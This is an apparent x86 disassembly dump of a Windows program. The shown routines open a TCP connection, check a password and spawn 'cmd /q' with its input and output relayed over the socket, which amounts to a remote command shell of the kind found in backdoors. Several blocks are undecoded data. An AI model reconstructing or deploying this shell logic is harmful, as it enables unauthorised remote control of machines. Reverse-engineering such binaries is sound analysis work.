		call	sub_41C266
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B3BA
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43E914[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_410F3C
		push	esi
		push	esi
; ---------------------------------------------------------------------------
		dw 25E8h
		dd 900226F1h, 69C44D8Bh, 234C9h, 89C63B00h, 43E92481h
		dd 39137400h, 850FD075h, 0FFFFFF63h, 0E890326Ah, 225FF97h
		dd 6BE8EDEBh, 900226FAh, 51906850h, 99E80043h, 5900004Eh
; ---------------------------------------------------------------------------
		pop	ecx
		jmp	short loc_410F1A
; ---------------------------------------------------------------------------


loc_410F17:				; CODE XREF: ___:00410E0Ej
					; ___:00410E42j ...
		mov	edi, [ebp+8]


loc_410F1A:				; CODE XREF: ___:00410F15j
		push	edi
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	dword_4CBA6C
		push	dword ptr [ebp-40h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	near ptr 26E0000h
		nop
		pop	edi
		pop	esi


loc_410F3C:				; DATA XREF: ___:00410ECFo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CBA54
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4110F2
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CB9D4
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CBA14
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_410FCC
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CBA58
		jmp	short loc_410FDA
; ---------------------------------------------------------------------------


loc_410FCC:				; CODE XREF: ___:00410FBBj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CB98C


loc_410FDA:				; CODE XREF: ___:00410FCAj
		cmp	eax, edi
		jz	loc_4110F2
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_4110F2
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_435254
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B3BA
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43E91C[ebx]
		mov	dword_43E914[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43E920[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_411123
		push	edi
		push	edi
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E924[ecx], eax
		jz	short loc_4110DF


loc_41108C:				; CODE XREF: ___:00411099j
		cmp	[ebp-20h], edi
		jnz	short loc_41109B
		push	32h
		nop
		call	near ptr 2670E97h
		jmp	short loc_41108C
; ---------------------------------------------------------------------------


loc_41109B:				; CODE XREF: ___:0041108Fj
		mov	ebx, 1000h


loc_4110A0:				; CODE XREF: ___:004110DBj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB9EC
		cmp	eax, edi
		jle	short loc_4110F2
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4110A0
		jmp	short loc_4110F2
; ---------------------------------------------------------------------------


loc_4110DF:				; CODE XREF: ___:0041108Aj
		call	near ptr 2680972h
		nop
		push	eax
		push	offset unk_435214
		call	sub_415DAC
		pop	ecx
		pop	ecx


loc_4110F2:				; CODE XREF: ___:00410F80j
					; ___:00410FDCj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43E91C[eax]
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	dword_4CBA6C
		push	dword ptr [ebp-4]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
		pop	ebx


loc_411123:				; DATA XREF: ___:0041106Co
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_41115A:				; CODE XREF: ___:0041119Fj
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43E920[esi]
		call	dword_4CB9EC
		test	eax, eax
		jle	short loc_4111A1
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43E91C[esi]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41115A


loc_4111A1:				; CODE XREF: ___:00411184j
		push	dword_43E920[esi]
		call	dword_4CBA6C
		push	dword ptr [ebp-14h]
		call	sub_40B6D6
		pop	ecx
		push	0
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 42h, 0EEh
; ---------------------------------------------------------------------------
		sub	al, 2
		pop	edi
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43E91C[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CB9BC
		test	eax, eax
		jnz	short loc_411244
		push	dword ptr [esi]
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	edi
		call	near ptr 26E0000h
		nop


loc_411244:				; CODE XREF: ___:0041122Aj
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB9EC
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CB928
		test	eax, eax
		jz	short loc_4112BD
		call	dword_4CB968
		push	eax
		push	offset unk_43532C
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 26E0000h


loc_4112BD:				; CODE XREF: ___:00411298j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CB98C
		cmp	eax, edi
		jnz	short loc_4112E7
		push	dword ptr [ebp-18h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41C266
		jmp	short loc_4112F5
; ---------------------------------------------------------------------------


loc_4112E7:				; CODE XREF: ___:004112CDj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41C890


loc_4112F5:				; CODE XREF: ___:004112E5j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_43DB88
		push	dword ptr [esi]
		call	dword_4CBA24
		cmp	dword_4CE72C, edi
		jnz	short loc_411357
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_41141F
		add	esp, 10h
		test	eax, eax
		jnz	short loc_411357
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CBA24
		push	dword ptr [esi]
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 26E0000h


loc_411357:				; CODE XREF: ___:0041130Cj
					; ___:0041132Dj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4352F0
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_4116D6
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41139E
		nop
		call	near ptr 2680972h
		push	eax
		push	offset unk_4352C4
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 0Ch
		push	ebx
		nop
		call	near ptr 26E0000h


loc_41139E:				; CODE XREF: ___:00411379j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_435298
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		call	near ptr 26E0000h
		nop

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4113C5	proc near		; CODE XREF: ___:0041125Ap
					; ___:00411267p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9EC
		cmp	eax, 1
		jnz	short loc_411415
		mov	esi, [ebp+arg_4]


loc_4113E3:				; CODE XREF: sub_4113C5+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_41140A
		test	al, al
		jz	short loc_411419
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9EC
		cmp	eax, 1
		jz	short loc_4113E3
		jmp	short loc_411415
; ---------------------------------------------------------------------------


loc_41140A:				; CODE XREF: sub_4113C5+27j
		push	offset unk_435358
		call	sub_415DAC
		pop	ecx


loc_411415:				; CODE XREF: sub_4113C5+19j
					; sub_4113C5+43j
		xor	eax, eax
		jmp	short loc_41141C
; ---------------------------------------------------------------------------


loc_411419:				; CODE XREF: sub_4113C5+2Bj
		push	1
		pop	eax


loc_41141C:				; CODE XREF: sub_4113C5+52j
		pop	esi
		leave
		retn
sub_4113C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41141F	proc near		; CODE XREF: ___:00411323p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41144A
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_435384
		call	sub_415DAC
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41144A:				; CODE XREF: sub_41141F+11j
		push	1
		pop	eax
		retn
sub_41141F	endp

; ---------------------------------------------------------------------------
word_41144E	dw 8B55h		; DATA XREF: sub_401ACD+237Ao
		dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah,	0ECBD8DF0h
		dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
		dd 2026850h, 15FF0000h,	4CB944h, 0C63BF633h, 68501D74h
		dd 4354F4h, 4917E8h, 0B475FF00h, 0FFA239E8h, 0CC483FFh
		dd 59E89057h, 57022CEBh, 4116CC68h, 814E800h, 85900236h
		dd 0E82975C0h, 226F4B6h, 0B0685090h, 0E8004354h, 48E4h
		dd 15FF5959h, 4CB92Ch, 0E8B475FFh, 0FFFFA1FEh, 0E8905759h
		dd 22CEB20h, 8D106A53h,	5056E045h, 0AA83E8h, 0CC48300h
		dd 0E045C766h, 75FF0002h, 0D415FFB0h, 6A004CB9h, 26A5706h
		dd 0E2458966h, 0FFE47589h, 4CBA5415h, 83D88B00h, 840FFFFBh
		dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 43E91C98h, 0E0458D00h
		dd 15FF5350h, 4CBA00h, 850FC085h, 117h,	0FFFFFF68h, 15FF537Fh
		dd 4CB9FCh, 850FC085h, 103h, 43547468h,	0F045C700h, 0Ch
		dd 89F47589h, 0CDE8F875h, 59000047h, 8D087D89h,	45C7FC45h
		dd 10FCh, 458D5000h, 0FF5350CCh, 4CBA6815h, 83F88B00h
		dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h
		dd 4CB9B415h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h
		dd 0D075FF50h, 0BA6015FFh, 8D50004Ch, 0FFFBEC85h, 543068FFh
		dd 0E8500043h, 0AC96h, 0FBEC858Dh, 0E850FFFFh, 475Ch, 0EC858D57h
		dd 6AFFFFFBh, 0CFE85009h, 89FFFF9Dh, 0C069B845h, 234h
		dd 83B44D8Bh, 888924C4h, 43E914h, 50DC458Dh, 0FDEC858Dh
		dd 5056FFFFh, 4111C068h, 0F0458D00h, 0E8905056h, 226E9E4h
		dd 69B84D8Bh, 234C9h, 89C63B00h, 43E92481h, 39137400h
		dd 850FC875h, 0FFFFFF37h, 58E8326Ah, 900225F8h,	2BE8EDEBh
		dd 900226F3h, 53F46850h, 59E80043h, 59000047h, 8B03EB59h
		dd 15FF087Dh, 4CB968h, 0EC858D50h, 68FFFFFBh, 4353BCh
		dd 0ABF4E850h, 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h
		dd 0C075FFFFh, 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 0D2E8FFFFh
		dd 83FFFF81h, 858D14C4h, 0FFFFFBECh, 4692E850h,	57590000h
		dd 0BA6C15FFh, 0FF53004Ch, 4CBA6C15h, 2C15FF00h, 0FF004CB9h
		dd 13E8B475h, 59FFFFA0h, 35E89056h, 5B022CE9h, 4439C033h
		dd 940F0424h
		db 0C0h, 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4116D6	proc near		; CODE XREF: ___:0041136Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_411827
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43E91C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_427084
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4119F9
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_411741
		call	near ptr 2680972h
		nop
		push	eax
		push	offset unk_435554
		call	sub_415DAC
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_41177B
; ---------------------------------------------------------------------------


loc_411741:				; CODE XREF: sub_4116D6+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_411AAB
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_411782
		call	near ptr 2680972h
		nop
		push	eax
		push	offset unk_435554
		call	sub_415DAC
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 26908E5h


loc_41177B:				; CODE XREF: sub_4116D6+69j
		xor	eax, eax
		jmp	loc_411822
; ---------------------------------------------------------------------------


loc_411782:				; CODE XREF: sub_4116D6+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		call	near ptr 2780000h
		nop
		sub	eax, ebx
		jz	short loc_4117DC
		dec	eax
		jz	short loc_4117D6
		dec	eax
		jz	short loc_4117C2
		nop
		call	near ptr 2680972h
		push	eax
		push	offset unk_435520
		call	sub_415DAC
		pop	ecx
		pop	ecx
		jmp	short loc_4117F1
; ---------------------------------------------------------------------------


loc_4117C2:				; CODE XREF: sub_4116D6+D5j
		mov	edi, dword_4270B4
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_4117F1
; ---------------------------------------------------------------------------


loc_4117D6:				; CODE XREF: sub_4116D6+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_4117E0
; ---------------------------------------------------------------------------


loc_4117DC:				; CODE XREF: sub_4116D6+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_4117E0:				; CODE XREF: sub_4116D6+104j
		nop
		call	near ptr 26908E5h
		push	1
		push	dword ptr [esi+8]
		nop
		call	near ptr 2710A1Ah


loc_4117F1:				; CODE XREF: sub_4116D6+EAj
					; sub_4116D6+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427070
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CBA6C
		push	esi
		call	sub_41BA91
		pop	ecx
		push	1
		pop	eax


loc_411822:				; CODE XREF: sub_4116D6+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4116D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411827	proc near		; CODE XREF: sub_4116D6+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_411911
		mov	ebx, dword_427108
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427070
		test	eax, eax
		jnz	short loc_41188A
		call	near ptr 2680972h
		nop
		push	eax
		push	offset unk_435604
		jmp	short loc_4118AA
; ---------------------------------------------------------------------------


loc_41188A:				; CODE XREF: sub_411827+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_4118B2
		nop
		call	near ptr 2680972h
		push	eax
		push	offset unk_4355C4


loc_4118AA:				; CODE XREF: sub_411827+61j
		call	sub_415DAC
		pop	ecx
		jmp	short loc_4118E0
; ---------------------------------------------------------------------------


loc_4118B2:				; CODE XREF: sub_411827+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_411920
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_411915
		push	offset unk_43559C
		call	sub_415D38


loc_4118E0:				; CODE XREF: sub_411827+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_4118EC
		push	[ebp+var_4]
		call	edi


loc_4118EC:				; CODE XREF: sub_411827+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_4118F7
		push	[ebp+var_8]
		call	edi


loc_4118F7:				; CODE XREF: sub_411827+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_411900
		push	eax
		call	edi


loc_411900:				; CODE XREF: sub_411827+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41190A
		push	eax
		call	edi


loc_41190A:				; CODE XREF: sub_411827+DEj
		push	esi
		call	sub_41BA91
		pop	ecx


loc_411911:				; CODE XREF: sub_411827+1Dj
		xor	eax, eax
		jmp	short loc_41191B
; ---------------------------------------------------------------------------


loc_411915:				; CODE XREF: sub_411827+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_41191B:				; CODE XREF: sub_411827+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411827	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411920	proc near		; CODE XREF: sub_411827+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41BF70
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_427104
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		nop
		call	near ptr 2720000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	near ptr 2660B67h
		nop
		test	eax, eax
		jz	short loc_4119DC
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43E918[eax], ecx
		nop
		call	near ptr 26608D5h
		jmp	short loc_4119F2
; ---------------------------------------------------------------------------


loc_4119DC:				; CODE XREF: sub_411920+9Aj
		nop
		call	near ptr 2680972h
		push	eax
		push	offset unk_435644
		call	sub_415DAC
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_4119F2:				; CODE XREF: sub_411920+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411920	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4119F9	proc near		; DATA XREF: sub_4116D6+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270EC
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_411A22:				; CODE XREF: sub_4119F9+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_411A8A
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_411A5D


loc_411A33:				; CODE XREF: sub_4119F9+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_411A4D
		cmp	dl, 0Dh
		jz	short loc_411A4D
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_411A4D:				; CODE XREF: sub_4119F9+44j
					; sub_4119F9+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411A33


loc_411A5D:				; CODE XREF: sub_4119F9+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CBA24
		test	eax, eax
		jle	short loc_411A8A
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411A22
; ---------------------------------------------------------------------------


loc_411A8A:				; CODE XREF: sub_4119F9+2Dj
					; sub_4119F9+79j
		mov	esi, dword_427094
		call	esi
		cmp	eax, 6Dh
		jz	short loc_411AA6
		call	esi
		push	eax
		push	offset dword_435684
		call	sub_415DAC
		pop	ecx
		pop	ecx


loc_411AA6:				; CODE XREF: sub_4119F9+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4119F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411AAB	proc near		; DATA XREF: sub_4116D6+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_411AC4:				; CODE XREF: sub_411AAB+39j
					; sub_411AAB+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB9EC
		test	eax, eax
		jle	loc_411BC9
		cmp	[ebp+var_10], ebx
		jbe	short loc_411AE6
		dec	[ebp+var_10]
		jmp	short loc_411AC4
; ---------------------------------------------------------------------------


loc_411AE6:				; CODE XREF: sub_411AAB+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_411BA9
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411B56
		cmp	al, 7Fh
		jz	short loc_411B56
		cmp	al, 3
		jnz	short loc_411B11
		push	ebx
		push	ebx
		nop
		call	near ptr 2780122h
		jmp	short loc_411B7D
; ---------------------------------------------------------------------------


loc_411B11:				; CODE XREF: sub_411AAB+5Aj
		cmp	al, 15h
		jnz	short loc_411B33
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411B69
; ---------------------------------------------------------------------------


loc_411B33:				; CODE XREF: sub_411AAB+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411B6A
